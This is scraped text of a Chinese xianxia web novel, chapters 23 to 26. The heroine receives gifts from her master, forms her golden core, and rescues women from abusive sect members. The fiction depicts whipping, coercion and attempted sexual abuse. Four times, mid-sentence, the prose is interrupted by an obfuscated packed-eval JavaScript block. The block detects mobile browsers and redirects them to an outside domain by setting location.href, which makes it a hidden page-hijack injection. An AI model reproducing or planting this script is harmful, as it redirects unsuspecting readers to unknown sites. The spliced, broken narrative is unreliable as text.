“真人的意思是,惧怕无用,最重要的是无悔对吗?”燕阳思忖了半晌,终于豁然开朗,笑着问道。 秦之游垂下眸子,眼底映着点点火光。 “最重要的,是无悔。”他重复着燕阳的话,却不知是在说给谁听。 ……扪心自问,如何才能无悔? 秦之游从储物袋中取出木盒,骨节分明的手一下下轻敲着冰凉的坞石,若有所思。 燕阳瞧见,激动地凑了上来,好不容易才忍住上手的冲动。 “真人!您何时得了坞石?这还是我第一次见,真漂亮啊。竟还有一片蛟龙鳞,威力能翻数倍不止。” “真人是要铸剑吗?可否容我在一旁观摩?” 依秦真人的实力,若是能炼成,定又是一把名扬天下的上品灵剑。 岂料秦之游缓缓地摇了摇头,燕阳第一次见到他脸上有浅浅的笑容。 只是那笑里,怎么带着几分苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635194|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涩和无奈? 等秦之游回到星回峰时,天色已经大亮,他这在岩洞中竟待了整整七个时辰。 往日里天蒙蒙亮,就能听见淮冷在林中练剑的声响。 现在快到巳时,山头却还是一片寂静。 若非秦之游察觉到了不远处的气息,还要以为颜朝阙带着淮冷跑路了。 少年趴在木桌上睡得正酣,面色红扑扑的,脚下倒着一个小酒坛。 一只橘色的小猫翻着肚皮,东倒西歪地躺着,看样子也醉得不清。 桌上另一坛酒被喝了个精光,压着好几张油纸,上面散落着被啃完的鸭骨。 任谁都能猜出来昨晚这里发生了什么。 秦之游的额角跳了跳。 淮冷从不是贪恋口腹之欲的人,他用脚趾头都能猜出来是谁如此放纵行事。 他攥紧了手中的物什,一步步朝竹屋走去。 “吱呀——”秦之游推开了房门。 正在吸纳灵力的姑娘唰地一下睁开眼睛,望见他后,眼中的戒备之心消散了些。 她歪过头,尾音扬起地唤道:“师尊?” 那双眼眸澄蓝剔透,漂亮得不似凡间之物,让秦之游一瞬间微微失神。 幻术是流淌在妖族血液中的保命本领。 颜朝阙作为顶级妖族,在妖的形态下,流露着连自己都察觉不到的媚意。 她轻轻眨了眨眼睛,瞳孔又恢复成了墨色。 “师尊这是决定好我的生死了?”她伸了个懒腰,漫不经心般问道。 她的视线里突然飞过一抹金色—— 秦之游把什么东西甩进了她手里。 “戴上。”他挪开目光,声音冷硬地命令道,像是在生谁的气。 颜朝阙举起来左右瞧了瞧,是一根黑色的绳子,中间串着五颗珠子和一块奇怪的黄色石头。 珠子和石头的边缘都被细细打磨过了,摸起来滑溜溜的。 石头要比珠子大上数倍,正中央镶着薄薄的鳞片。 鳞片流光溢彩,折射出耀眼的光。 颜朝阙看了好半晌,才终于断定这是什么。 “师尊竟要把蛟龙的护心鳞送给我?”她挑眉讶异道。 作为神的龙族在上古时期便已经绝迹,剩下的旁系里,唯蛟龙与之最为接近。 它们畅游三界,万年不露其踪。 饶是颜朝阙在仙界,东奔西走了千年,也只见过三五回。 而蛟龙的鳞片乃是世上最好的武器材料,护心鳞更是难得,秦之游居然舍得把它做成项链送给自己? 她莫不是在做梦…… 颜朝阙望着秦之游的冰冷的侧脸,默默掐了一把自己的大腿。 那高冷的冰美人不说话,可撇过头的样子怎么看怎么别扭。 颜朝阙的眼眸一点点亮了起来。 她麻溜地起身,在他的面前站定,仰头笑得灿烂。 “是师尊特意为我做的?” 秦之游抿唇不语。 “师尊果然心善,不舍得滥杀无辜。如此仙风道骨,真是正道楷模!”她故意拖长了音调,语气夸张。 秦之游脸上没有一丝喜意,仿佛全然没听到她的夸赞。 “坞石可容纳五行之力,蛟龙鳞片妖力充裕,今后你修行不必再依托外物。”他淡然解释道。 “谢谢师尊,我很喜欢。”颜朝阙啧啧称叹,真挚地感谢了一番。 而后话锋一转道:“若师尊能亲自给我戴上,徒儿就更欢喜了。” 秦之游终于忍无可忍,乌黑如玉的双眼瞪着她,几乎是一字一句道。 “颜朝阙!你别太得寸进尺。” 24. 第二十四章 颜朝阙知道秦之游要恼了,她低下头,白皙纤细的手指抚过黑绳,将它捋得又直又顺。 “师尊或许不知,妖族有个习俗,若是年幼的小妖能收到长辈做的礼物,并由长辈亲自为其戴上,便能得到世上最慈爱的祝福。” 虽然按照实际岁数,秦之游算不得她的长辈,但她一声声的“师尊”可不是白叫的。 她垂着脖子,语气又柔顺了几分,莫名带着些惆怅。 “可惜我自小孤孑一身,从没见过同族之人,更不曾收到礼物。” 她收到的只有来自真君高高在上的恩赏。 从秦之游的角度,能看到她略显瘦削的肩膀,卷翘的睫毛轻闪,配上这句卖惨的话,竟如小兽般楚楚可怜。 颜朝阙仰起头,脸上浅浅的笑意未变,将项链举到他的眼前。 “师尊愿不愿意祝福我,朝暮欢喜,岁岁安康?” 她的眸色纯净如珀,倒映着他的身影,水汪汪地盯着他。 秦之游心头的火气不自觉偃旗息鼓。 他终究还是从她的掌心拎起黑绳,不甚熟练地将它从颜朝阙的脖颈两侧穿过。 颜朝阙闻到了他身上的白檀香,清幽之余,又藏着若有似无的甘甜。 坞石与肌肤相贴,一瞬间冰气刺骨,而后又变得莹润而温暖。 颜朝阙忍不住用手抚上蛟龙鳞,下一息就听见身后一道淡漠的嗓音。 “别动。” 于是她便乖乖地放下右手。 黑绳随着秦之游的动作而颤抖,挠得她皮肤有些痒意。 有一瞬间甚至扯到了她的一缕头发。 又被人轻柔地拨开。 她这算不算恃宠而骄了一次? 为了分散注意力,颜朝阙想道。 她耐着性子等了许久,最后感受到耳畔有一丝灵力闪过,所有动静终于停了下来。 秦之游打结失败,还是选了个最省力的方法—— 用火系灵力把黑绳两端彻底焊死。 “好了。”颜朝阙听见头顶传来他的声音。 她开心地摸了摸坞石,语气欢快地问道。 “师尊祝福了什么?” 她想听他亲口说出来。 秦之游岂能不知她的小心思,却有些心虚地别开了视线。 在给绳子打结时,他满脑子想的都是…… 愿她安分守己,世界太平。 “咳。”在颜朝阙盈盈的目光下,秦之游轻咳了一声。 他从储物袋中又取出一物,“剩下的坞石已经不够铸剑,本座便随手做了把匕首。” “你拿着防身用,待你结丹后,再去藏剑阁选本命剑。” 他递过一把短匕,匕身分为内外两层,内层是上好的玄铁,外层的坞石被磨得削铁如泥。 刀刃已开,薄如蝉翼,在光下泛着金白的冷光。 颜朝阙眼眸瞬间璀璨如星,比收到项链时还要晶亮。 她在仙界时,最常用的便是一对双匕。 与发狂了的妖兽贴身肉搏时,它们几乎成了她的左右手。 这坞石匕首虽比不上她从前寻到的神陨天晶,但也算不赖。 她几乎是一瞬就接了过去,爱不释手地把玩着。 秦之游见她捏着刀柄,娴熟地舞了几下,快得只剩下残影。 这次她专注极了,没有再夸张地赞美他,但他瞧见她高高扬起的唇角,便知她是真的欢喜。 也不枉他磨了整整三个时辰。 甚好。 秦之游感觉自己心中有一根弦被轻轻拨动了一下,让他莫名生出了一分雀跃。 他修的乃是无情道,对自己的情绪最是敏感。 在体内流转多年的功法毫不留情地吞噬了那抹雀跃,又蓦地刺了一下他的心脏。 痛觉一下子就拉回了他的意识。 颜朝阙收起匕首,想再认真地道谢,抬头却见秦之游方才还算明朗的眉眼,不知何时笼上了一层阴翳。 脸色更是比从前还要冷三分,好像她欠了他五百万灵石似的。 “多谢师尊……” 她的话还没来得及说完,就听他硬邦邦道:“既已得了灵器,那就莫要怠慢偷懒,从现在就开始继续修炼。” “早日结丹,别丢本座的脸。” “哦——”颜朝阙把剩下的话吞进肚子,慢悠悠地在蒲团上坐下。 真是喜怒无常。 她差点嘟囔出声。 颜朝阙虽然看着懒散,但真到修炼时,却也挺直了腰板。 美目紧阖,她的面容难得静穆。 心法一起,她就感受到丝丝缕缕的灵气先是试探般地碰了碰坞石,见它没有攻击性,便争先恐后地涌入五颗珠子中。 中间的蛟龙鳞吸收着五行灵力,再将它送入颜朝阙体内。 速度虽比起她自己要慢上三成,但仅凭外物就能够做到如此,已然不错。 颜朝阙逐渐进入了一种玄奥的状态。 丹田淌过一股暖流,四肢像是晒在阳光下一般暖融融的。 她的身体仿佛慢慢变成了一只飞鸟,升腾到了空中,每一根羽毛都舒展开来。 她不必扇动翅膀,只是懒洋洋地飘在空中,便能一点点上升。 她久违地感受到了“满足”。 对于仙来说,天资实力早已限定,通过个人努力能提升的修为很是有限。 这也是为什么,仙界数万年来都以四大真君为尊,他们乃是三界不容置疑的最强者。 没想到来了人间,竟能体会到进阶的滋味。 还真是……让人欲罢不能。 她的神识彻底兴奋起来,刻在骨子里的征服欲从心头冒出,功法在体内飞速运转,她几乎是不知疲惫地吸收着天地灵力。 就这样不知过了多久。 颜朝阙突然发现自己的五官被封闭了起来,她像是失去了对身体的控制权,猛地跌入一片漆黑中。 脚下似是一片干涸的河床,一颗硕大的浅金色圆球,正在她面前缓缓凝聚。 她认出来了,是她的仙根和金丹。 “恭喜宿主解锁重要节点:择道。” 系统猝不及防地现出身影,在半空中漠然俯视着她,高高在上,仿若神祇。 “是否选择无情道?倒计时,十,九,八……” 颜朝阙张了张嘴,却发现自己喉咙口像是堵着一块棉布般,完全发不出声音。 “……二,一,恭喜宿主选择无情道。现在您是一名无情道剑修了。” 系统“恭贺”道,声音简直比冬天寒潭的水面还要平静。 颜朝阙:…… 仙界强买强卖的风格真是亘古不变。 待她有朝一日得了自由身,定要搅得九重天不得安宁。 可想着想着,她的满腔恨意竟没来由地淡了几分。 就像是有什么东西,在啃噬着她的情绪。 颜朝阙逐渐被眼前的金丹吸引了注意力。 本命灵力凝成了实质,小圆球明光熠熠,可因无情道的缘故,此刻正呼呼地冒着冷气。 即便如此,这可是她亲手修炼出来的,颜朝阙光是看一眼就觉得亲切欢喜。 这金丹仿佛不是她的,与主人完全是两幅模样。 远没有颜朝阙那活泼的劲头。 它安静地憩在枯萎的仙根上,任劳任怨地用自己的能量滋养着它。 颜朝阙刚伸手想去摸,可立即就被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635195|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹了出去。 “唉。”她有些怅然若失地叹了口气。 而后睁开了双眼。 竹屋里空空荡荡的,她结丹成功时,居然无一人在身侧。 “喵呜~” 脚边有个小家伙奶声奶气地叫了一声,像是在反驳她的想法。 小脑袋用力蹭了蹭她的裤腿,而后一抹橘色的身影一下子跳到了床榻上。 猫妖凑了过来,湿漉漉的小鼻子几乎要顶到颜朝阙的下巴。 颜朝阙笑得眯起了眼睛,挠了挠它的下巴道:“还有你陪着我呀。” “你知道我结丹成功了对不对?” 猫妖昂起脑袋,发出咕噜咕噜的声响,那骄傲的模样,仿佛与有荣焉。 过了几息,它冲着案几的方向叫了几声。 颜朝阙会意,走过去,发现是淮冷给自己留了字条。 「师姐,你修炼已有五日。白师兄传讯,三级魔物现身西南方向,师尊与我及诸位长老需赶去除魔,师姐若醒勿担忧。」 「不要乱跑。(这句是师尊说的)」 看墨迹已经完全干透,不知他们走了多久。 猫妖也跳上了桌子,只不过它径直走向了不远处的镇纸,用小爪子拍了拍。 颜朝阙这才发觉角落上还压着一张字条。 只是这张比起淮冷的要小不少。 来人许是有些紧张,字迹潦草勾连,应是匆匆而就。 「颜道友,何知派人将万经阁的书婢抓走了。」 颜朝阙的瞳孔骤然一缩。 何知……他不是被师尊勒令禁足了么?这又是闹哪一出。 好在这字迹半干未干,应该才留不久。 颜朝阙二话不说就踏进了星回峰上的传送阵。 何知、杜老风,他们是在哪个山头来着…… 颜朝阙皱眉仔细回忆着,阵法听不到她确切的心声,忽明忽灭地闪烁着。 “颜道友,你终于醒了!”恰在此时,有人在远处嚷道。 颜朝阙抬头,看见顾奕正小跑着冲她而来。 他在她身前一丈处站定,微微喘着气。 他望了她两眼,惊喜又迟疑地问道:“道友是不是进阶了?” “这气息与从前似乎大不一样了,只可惜我修为低下,看不确切。” 他是外门弟子,如今才筑基前期修为。 颜朝阙忽然想通了什么,指着竹屋问道:“可是你给我留的字条?” 顾奕点了点头,将自己看到的和盘托出。 “我今日正好去万经阁取书,见到几个玉柱峰的弟子带走了书婢。他们往日里都听何知的,我绝不会认错。” 是了,是二峰玉柱峰。 顾奕还没说完,从怀中掏出一个灰扑扑的袋子道:“这是从书婢身上掉下来的布袋,我瞧见里头有星回峰的传送符,便急忙来寻道友。” “谁知道友正在修炼,我便留了字条。” “幸好我多等了一刻钟,恰好能等到道友进阶成功。” 他口齿清晰,解释起来没有半句废话,让颜朝阙迅速弄清楚了来龙去脉。 “你可知他们带走书婢要做什么?”颜朝阙沉声问道。 顾奕难得支支吾吾起来,“我听那几个弟子说,说什么……” “要让她去‘伺候’何知。” 这话实在羞于启齿,饶是他也微红了脸。 他话音一落,颜朝阙就冷哼了一声,脸上满是怒意。 “我去找何知。你要不要和我一起去?” “义不容辞!” 顾奕大跨一步,也进了传送阵中,颇为仗义地喊了一声。 无人瞧见他的眼中划过一抹计谋成功的窃喜。 25. 第二十五章 颜朝阙第一次来玉柱峰,纵使曾在地图上瞥见过它的模样,亲自来时,却还是被震撼了一番。 这里长满了红色的杜鹃花,鲜艳热烈,汇成了一片汪洋大海。 “海浪”几乎席卷了山野的每个角落,整个世界绚烂得仿若梦境一般。 美得让初见者失语。 “听闻师祖最爱杜鹃花,这些都是师祖的夫君在十余年间亲手植下的。”顾奕见颜朝阙愣神,便微微侧着身,向她介绍道。 这些杜鹃花没有人打理,疯长了数百年,熙熙攘攘地挤在一起,让人几乎没有落脚地。 他主动用剑挑开花茎,给两人辟了条小道出来。 山顶一阵风拂过,把些许花粉吹进了颜朝阙的鼻子里。 “阿秋——” 她打了个喷嚏,忍不住揉着鼻子问道:“你们人修表达爱意的方式都如此……声势浩大么?” 顾奕觉得她说话有些古怪,什么叫“你们人修”? 不过他才不会冒犯颜朝阙,他表情未变,自然地答道:“自然不是。” “师祖的感情故事可称世所罕见。” 甚至可以说是,惊世骇俗。 毕竟仙门还是崇尚淡泊宁静,修士们的感情多半也极为含蓄。 不过,现在可不是闲聊的好时机,救韩黛要紧。 可两人举目眺望了半晌,也没瞧见其他半个人影。 这偌大的地方要是凭脚力,不知要找到什么时候。 “顾道友,借你剑一用。”颜朝阙朝他伸出手掌。 顾奕二话不说就递上自己的佩剑。 颜朝阙回忆了一下秦之游给自己的《昆墟内法》,其中就有御剑之术。 “剑载万物,御风而行,起!”她轻喝一声,声音清脆洪亮。 顾奕的剑抖了抖,而后变得数倍之大,摇摇晃晃地升到空中。 颜朝阙脚尖一跃,跳上了剑身。 “顾道友,快上来呀。”她冲身侧的顾奕催促道。 顾奕的脸上难得出现了纠结之色。 当颜朝阙比出生疏的手势时他就知道,她恐怕没御过几次剑。 那剑尾颤得厉害,让他胆战心惊的,他还从没见过自家剑这副模样。 可是这是和内门亲传弟子拉进关系的好机会。 偏偏他修为不足,自己御剑尚可,却无法带金丹修士共行。 唔,要是颜朝阙把他颠下去,摔伤了,应该会对他负责的……吧? 顾奕一咬牙,一狠心,也跳上了剑。 “道友莫怕,我如今对灵力的控制已颇为熟练,小小御剑,不在话下。”颜朝阙看出他心中的担忧,安慰道。 “好的——” 他刚开口,剑就“咻”地一下飞速窜了出去,他的声音瞬间淹没在风中。 若非顾奕下意识地把全身的灵力都倾注到了脚上,恐怕早就被甩飞了。 他忽然想起前几日,自己甚至还在七峰救下了从高处坠落的颜朝阙。 真乃世事无常也。 顾奕第一次知道自己的剑能飞得这样快,也是第一次知道真的有人可以在一息内同时飞往三个方向。 “找着了。”身前的姑娘忽然大声嚷了句。 顾奕探出脑袋,发现身下是一座别致的院子,不少年轻修士来去匆匆,比方才的杜鹃花海要热闹得多。 颜朝阙二话不说,御剑俯冲而下,那架势仿若陨石砸地。 就在顾奕犹豫要不要赶紧跳下去时,两人竟奇迹般地平稳落地。 顾奕收剑,颜朝阙则迅速蹦到地上,抓住了一个男修问道:“何知在哪?” 那男修警惕地上下打量了她几眼,忽然低声询问起来。 “阁下可是秦真人的弟子,颜道友?” “是我。” 确认了她的身份,男修顿时放下戒心,她在万经阁灭何知威风一事,玉柱峰上下早已传遍。 她今日这来势汹汹的模样,定是何知又惹了她。 颜朝阙若是来找何知麻烦的,他们恨不得夹道欢迎。 他们不能直接反抗,还不能借力打力么? “就在北边的厢房里。”男修一点也不藏着掖着,甚至还主动指了指方向。 “多谢。” 颜朝阙也不废话,拎着匕首,带着顾奕就冲了过去。 越靠近北边,修士就越少,也不知道是何知事先吩咐的,还是其他人都躲着他。 “用点力,今天没吃饭吗?!”刚走近房门口,就听见一声怒喝。 “不是叫你这么用力,贱人,你弄疼老子了。” 那声音愈发粗鲁蛮横起来,用词皆是下流。 “老子看你是身上最后一件衣服也不想要了……” “砰!”他话没说完,厢房的门就被人从外面大力踹开了。 这声巨响把何知吓得身躯一震。 大中午的阳光直直地照进来,刺得人眼睛生疼。 何知眯着眼望去,见到一个身着紫色罗裙的姑娘,她的裙摆破破烂烂,发髻也有些凌乱。 可她浑身的气势骇人极了,怒目圆睁,手持匕首,逆光而立仿若金刚罗刹。 “颜……颜朝阙?” 何知衣衫不整,他匆匆理了理,从床上坐起身,不确定地喊了一句。 上一次见面这小丫头不过练气初期修为。 可今日这周身浓郁的灵气……她的修为已经在他之上了! “正是你姑奶奶我。” 对待这种下流胚子,颜朝阙自然也无需讲究礼貌。 她大步流星地踏进屋子,随手挥了道灵力,就把何知绑了个严严实实。 她扬起匕首,把那乱七八糟的床幔割了个一干二净,这才能看清楚韩黛的情况。 “颜朝阙,你要干什么!这里可是我二峰地盘……”何知嚷嚷道,一看便知心虚得很。 颜朝阙嫌他聒噪,动了动手指,把那五彩斑斓的床幔塞进他嘴里,然后把他一脚踢到了床底下。 何知重重地摔在地上,他扭动身体想要挣脱束缚,反倒让床幔把他浑身都裹了起来。 整个人狼狈得可笑。 颜朝阙耳尖地听到门外好像有喧闹的声音,许是有弟子前来看热闹。 她不动声色地走到侧面,挡住了韩黛的身体。 “顾奕,去关门,谁也不许看。”她冷声吩咐了一句。 “是。” 韩黛坐在床榻上,她的双腿被绑住了,只能用手紧紧抱着自己。 她身上只有一件单薄的小衣,颜朝阙能看到裸.露的皮肤上,分布着触目惊心的淤青。 肩胛骨的位置,一道三寸长的鞭伤贯穿上下,此刻还在渗着鲜血。 颜朝阙去碰她的手时,她明显害怕地瑟缩了一下。 “韩黛,别怕,是我。”她柔声道。 瘦弱的少女终于慢慢抬起头,颜朝阙这才看见她的脸上竟布满了泪水。 颜朝阙拾起地上的衣衫,小心翼翼地避过伤口,披在她的身上。 “我来了,何知欺负不了你了。”她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650294|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声声地安抚着,韩黛的情绪终于平稳了些。 “让我看一看你的情况好吗?” 韩黛点了点头,颜朝阙便将灵力从她的手腕送入体内。 是皮外伤,以及……心脉有损伤。 “他刚刚是不是踹了你的胸口?” 少女的脸上出现了几分不堪,她咬唇颔首。 韩黛是木灵根,颜朝阙便从体内分出木系灵力,让它护住了韩黛的心脉。 又用匕首挑断了绑着她的绳索,扶着她坐到了床边的木椅上。 她的余光瞥见了不远处的鞭子,想来何知就是拿它打的韩黛。 颜朝阙走过去,将它拾了起来。 她一脚踹在了何知的身上。 “笃,宿主禁止对仙门之人动手。”系统用力敲了一下木鱼,以示提醒。 它检测到颜朝阙心中愤怒值极高,本以为还要费一番功夫。 岂料她直接望向了一旁的少女。 “韩黛,你恨他吗?”颜朝阙问道。 少女已经做惯了奴婢,看起来仍有些怯懦。 可在颜朝阙鼓励的目光下,她终于说出了真实的想法。 “恨。” 颜朝阙勾起唇角,脸上笑意清浅温柔。 她握着少女的手,将那粗糙的掌心一点点展开,把鞭子轻轻放在了正中央。 “现在,正是报仇雪恨的好时候。”她嗓音轻快,却莫名让人感受到一股强大的力量。 韩黛瑟缩了一下肩膀,低声道:“可他是入尘真人的大弟子。” “大弟子,”颜朝阙托着她的手背,拇指覆着那瘦弱的骨节,带着她用力握住柄节,“那又如何!” 随着她的话音落下,软鞭凌空而起,从两人面前呼啸而过。 而后重重地落在何知的身上。 他自小娇生惯养长大,哪里被人这样对待过,此刻痛得蜷缩在一起,嘴里不停地发出“唔唔”的声音。 “想不想再来一次?”颜朝阙直起身子,细声细语地问少女道。 虽是询问,可那灼灼的目光里,分明满是鼓励之意。 韩黛没有说话,可也没有放开执鞭的手。 终于,她鼓起勇气,举起双手,自己舞下了那算不得重的一记。 明明是在打人,她自己反倒先红了眼眶。 “你做得很好。”颜朝阙拍了拍韩黛的肩膀。 她蹲下身子,唇齿间吐出一个利落的字:“定。” 刚才还扭得和麻花似的人,霎时便不得动弹。 颜朝阙拿着坞石匕,刀刃划开绕在何知颈部的床幔,而后往上一挑,将那张丑陋的脸暴露在空气中。 冰凉的匕首抵上了他的脸,刺骨的寒意让人瞬间头皮发麻。 “何知,今日只是打你两鞭子,算是送你的小礼。” “若来日再让我知道,你做这些欺男霸女的勾当,我保证你的身体,再也不会像现在这般完整。” 她的刀慢慢向下,下巴、喉咙、胸膛……乃至小腹。 兴许何知从没有被这样羞辱过,他的脸涨得通红,几乎变成猪肝色。 说话也口不择言起来。 “颜朝阙,你还真把自己当救苦救难的神仙了?” “你救得了一个,救得了全部么?” 不知道想起了什么,他笑了出来,语气张狂至极。 “我今日什么都没来得及做,可那些日月峰的美人们便没有那么幸运了。” “我不信,你在我师父面前,也敢如此放肆。” 26. 第二十六章 杜老风闯进屋子的时候,归云正和阿南讨论着,颜朝阙的新衣该做成什么样的款式—— 前几日淮冷特意拜会过日月峰,她们便知道颜朝阙已经把第一件宗袍送给了少年。 那身从天风派带回来的紫色罗裙,实在是太寒碜了些。 杜老风刚见到她们,便邪里邪气地笑了一声。 阿南年纪小些,她睁大了眼睛,面色一下子变得煞白。 当初紫烟姐姐被这老头折磨致死,那惨状让她做了一整年的噩梦。 归云要冷静些,她下意识地捏住腰间的传讯符。 青芙正在山脚下练剑,月霞和长苇去林子里寻灵草了,此刻都不在屋里。 只要她将这传讯符送出去,她们就知道日月峰有难。 可然后呢? 她们是杜老风亲手挑来的、资质最为平庸的女修,为的就是能被乖乖压制。 即便是修为最高的青芙,修炼了上百年也不过金丹初期。 而杜老风作为师祖唯一的血脉,继承了乾坤袋,用天材地宝将修为硬生生砸到了元婴后期。 她们五个人加起来都不是对手。 即便青芙她们赶回来,也无异于羊入虎口。 归云一瞬间权衡完毕,她放开传讯符,迅速转身去取自己的佩剑,一把将阿南护在了身后。 “你来此处作甚?!”她双眸中满是警惕,剑尖笔直地对着杜老风,厉声喝道。 杜老风脸上却没有丝毫畏惧,他咧嘴一笑,往前走了几步。 “美人,你叫什么名字来着?”他目光轻佻地上下扫了扫,“数十年未见,倒是出落得越发美丽了。” “仙途漫漫,如此寂寞,为师特意来陪你们呀。” 他声音猥琐至极,那黏腻的目光几乎要让归云作呕。 她不动声色地往屋门处后退。 若能逃到传送阵,去星回峰便安全了。 “我们无须你陪……更何况此处有无念真人亲手设下的结界,未得他同意,你岂敢擅闯!”归云声色俱厉道。 她此话一出,杜老风原本还带着些许笑意的脸,霎时阴沉了下来。 “连你也拿师兄压我?”他丑陋的脸上溢满戾气,“真是找死。” 一根鞭子劈头盖脸地甩了过来,在修为的绝对压制下,归云压根就来不及躲闪。 她被勒住脖颈,杜老风粗暴地把她甩向里屋。 纤细的背脊砸过花瓶和博古架,屋子里顿时响起噼里啪啦的碎裂声。 瓷片扎进血肉,鲜血染红了归云的后背,她狼狈地趴在地上,被勒得发出“嘶嘶”声。 “归云姐姐!”阿南惊慌失措地喊叫起来。 归云用手扒着颈上的皮鞭,费劲道:“快走,去星回……” 阿南立刻明白了她的意思。 她知道犹豫无用,只有果决才能搏得一线生机,于是听话地拼命朝屋外跑去。 恰好此时青芙等人回来,她们远远瞧见阿南慌不择路的模样,便赶忙靠了过来。 “阿南,出什么事情了?” 隔着几丈距离,她们喊道。 “是杜老风,他、他来了,归云姐姐让我们快去星回峰求救。”阿南带着哭腔回答。 青芙大惊,没等她们反应过来,屋子里就走出一个肥腻的身影。 “想逃?今日你们一个也逃不掉。”杜老风的语气少见地狂妄。 他右手执鞭,将归云拽了出来,动作没有半分怜香惜玉。 女子姣好的面容已经变成猪肝般的赤紫色,她的喉咙已经发不出任何声响。 只有一双手还在做无用的努力。 望着她挣扎的模样,杜老风又畅快地笑了起来。 “杜老风!放了归云!”青芙怒吼道。 可下一息,“啪”地一声,她的右脸被结结实实地隔空拍了一掌。 白皙的皮肤肉眼可见地肿胀起来。 “你算什么东西,也敢对为师这样大呼小叫?” 青芙吐出一口血水,想要拔剑,却发现自己的手完全动弹不得。 不知何时,那蕴含着师徒契的灵玉被杜老风攥在了掌心,足足有五片。 那是当初他欺骗她们签下的契约。 如今成为了束缚她们最好的枷锁。 师徒之契,唯有徒弟修为超过师父,方能解开。 眨眼间,杜老风将五人都带到了悬崖边。 “今日,要么你们乖乖从了我,要么,便跳下去,死无葬身之地。”他话里话外,全然是威胁。 青芙与阿南距离崖边不过半步之遥,往下看一眼都惊心动魄。 “你痴心妄想!”青芙的指甲深深地陷入掌心,忍住心底的恐惧和颤抖,红着眼道。 “无念真人定会来救我们。” 杜老风不屑地发出一声鼻音,“呵。” “我那好师兄,如今正在千里外除三级魔物呢,想来怎么着也得三五日。” 他阴阳怪气得很,说话间眼中掠过一抹阴毒,心中不知起着什么样的歹念。 言下之意便是,今日她们,孤立无援。 长苇也是个性子烈的,她啐了一口,愤恨道:“就算无念真人不在,即便是死,我们也不可能委身于你。” 杜老风被秦之游下了禁闭咒,不得出山门,今日只是想要快活一下,谁成想竟没有一个听话的。 他气得将归云拖到了断崖边,阴恻恻地盯着女修们。 “当真不从?” 归云就在他的脚边,半个身子已经探出了崖外,摇摇欲坠。 青芙和长苇担忧地盯着她,饶是心中已经怒火丛生,现在也不敢再说一字。 归云会死。 就像当初的丹罗和紫烟那样。 她们看到归云的眼角流下了一行清泪。 她的眼神眷恋地扫过其他四人,而后变得视死如归。 谁也没有料想到的事情发生了—— 归云居然侧过身,自己滚下了山崖! 这一下也打了个杜老风猝不及防,冲击之下,他的鞭子脱手而去,在空中留下一道黑影。 这日月峰足有千仞之高,下面乃是万丈深渊。 一旦跌落,定是粉身碎骨。 “归云!”所有女修都撕心裂肺地呐喊起来。 青芙边哭边咒骂道:“杜老风,你一定不得好死!” “归云……归云……” 所有人万念俱灰之际,忽然听到巨大的剑刃破空之声,从山脚下传来。 一道骇人的剑气由远及近,搅弄起阵阵山风。 松涛骤起,有如猛虎咆哮。 听着这动静,杜老风身体僵了僵,莫非是师兄提前回来了? 那剑终于飞了上来,剑身上赫然是一个罗裙翻飞的俏丽姑娘。 她搂着归云,慢悠悠地落到地上,似笑非笑地叫了他一声。 “师叔。” 那语气绝对算不上友好,更是没有半点尊敬。 “颜朝阙?你……你竟已经金丹了?”杜老风意外极了,失声了片刻后道,脸上的肉都抖了几抖。 她十日前才刚拜入昆墟派,从练气初期到金丹,用时不足十日! 秦之游当真收了个好徒弟! 若是被那些长老们知道了,定会吧她视作珍宝。 甚至将整个仙门的希望都寄托在她的身上。 就算杜老风行事再荒唐,如今也不敢轻易开罪颜朝阙。 她是秦之游的首徒,更有着举世无双的修炼天赋! 日月峰上女修们无依无靠,除了他那爱管闲事的师兄,他欺负也就欺负了,谁也不会多说一句。 可一个平庸的老头和一个天纵奇才的少女,任谁都会选后者! “颜师侄果真年少有为,天赋比师兄更胜一筹。” 杜老风嘴上啧啧称奇,违心地扯起一抹笑容,那弧度让人不觉得慈祥,只觉得滑稽丑陋。 不知是油还是汗,布满了那张如大饼般的脸,在太阳下泛着光。 颜朝阙冷冷觑了他一眼,并未接受他的奉承,蹲下身子轻拍着归云的背。 归云面色依旧通红,大口大口地喘着气,似是要将空气都吸进肺腑。 她后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 